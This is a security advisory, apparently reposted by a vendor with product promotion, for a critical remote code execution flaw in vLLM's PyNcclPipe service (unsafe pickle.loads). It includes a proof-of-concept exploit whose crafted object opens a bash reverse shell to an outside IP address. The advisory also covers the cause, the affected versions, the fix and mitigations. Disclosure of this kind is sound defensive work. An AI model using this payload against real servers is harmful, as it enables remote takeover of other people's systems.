GHSA-hjq4-87xh-g4fv
CRITICALGHSA-hjq4-87xh-g4fv is a critical-severity (CVSS 9.8) Deserialization of Untrusted Data vulnerability in vllm. O3 Security confirms whether GHSA-hjq4-87xh-g4fv is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
vLLM Allows Remote Code Execution via PyNcclPipe Communication Service
Blast Radius
vllmReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Impacted Environments
This issue ONLY impacts environments using the PyNcclPipe KV cache transfer integration with the V0 engine. No other configurations are affected.
Summary
vLLM supports the use of the PyNcclPipe class to establish a peer-to-peer communication domain for data transmission between distributed nodes. The GPU-side KV-Cache transmission is implemented through the PyNcclCommunicator class, while CPU-side control message passing is handled via the send_obj and recv_obj methods on the CPU side.
A remote code execution vulnerability exists in the PyNcclPipe service. Attackers can exploit this by sending malicious serialized data to gain server control privileges.
The intention was that this interface should only be exposed to a private network using the IP address specified by the --kv-ip CLI parameter. The vLLM documentation covers how this must be limited to a secured network: https://docs.vllm.ai/en/latest/deployment/security.html
Unfortunately, the default behavior from PyTorch is that the TCPStore interface will listen on ALL interfaces, regardless of what IP address is provided. The IP address given was only used as a client-side address to use. vLLM was fixed to use a workaround to force the TCPStore instance to bind its socket to a specified private interface.
This issue was reported privately to PyTorch and they determined that this behavior was intentional.
Details
The PyNcclPipe implementation contains a critical security flaw where it directly processes client-provided data using pickle.loads , creating an unsafe deserialization vulnerability that can lead to Remote Code Execution.
- Deploy a
PyNcclPipeservice configured to listen on port18888when launched:
from vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe import PyNcclPipe
from vllm.config import KVTransferConfig
config=KVTransferConfig(
kv_ip="0.0.0.0",
kv_port=18888,
kv_rank=0,
kv_parallel_size=1,
kv_buffer_size=1024,
kv_buffer_device="cpu"
)
p=PyNcclPipe(config=config,local_rank=0)
p.recv_tensor() # Receive data
- The attacker crafts malicious packets and sends them to the
PyNcclPipeservice:
from vllm.distributed.utils import StatelessProcessGroup
class Evil:
def __reduce__(self):
import os
cmd='/bin/bash -c "bash -i >& /dev/tcp/172.28.176.1/8888 0>&1"'
return (os.system,(cmd,))
client = StatelessProcessGroup.create(
host='172.17.0.1',
port=18888,
rank=1,
world_size=2,
)
client.send_obj(obj=Evil(),dst=0)
The call stack triggering RCE is as follows:
vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_impl
-> vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_metadata
-> vllm.distributed.utils.StatelessProcessGroup.recv_obj
-> pickle.loads
Getshell as follows:
Reporters
This issue was reported independently by three different parties:
- @kikayli (Zhuque Lab, Tencent)
- @omjeki
- Russell Bryant (@russellb)
Fix
- https://github.com/vllm-project/vllm/pull/15988 -- vLLM now limits the
TCPStoresocket to the private interface as configured.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | vllm | ≥ 0.6.5&&< 0.8.5 | 0.8.5 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vllm. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update vllm to 0.8.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-hjq4-87xh-g4fv is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-hjq4-87xh-g4fv is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-hjq4-87xh-g4fv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-hjq4-87xh-g4fv in your dependencies?
O3 detects GHSA-hjq4-87xh-g4fv across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.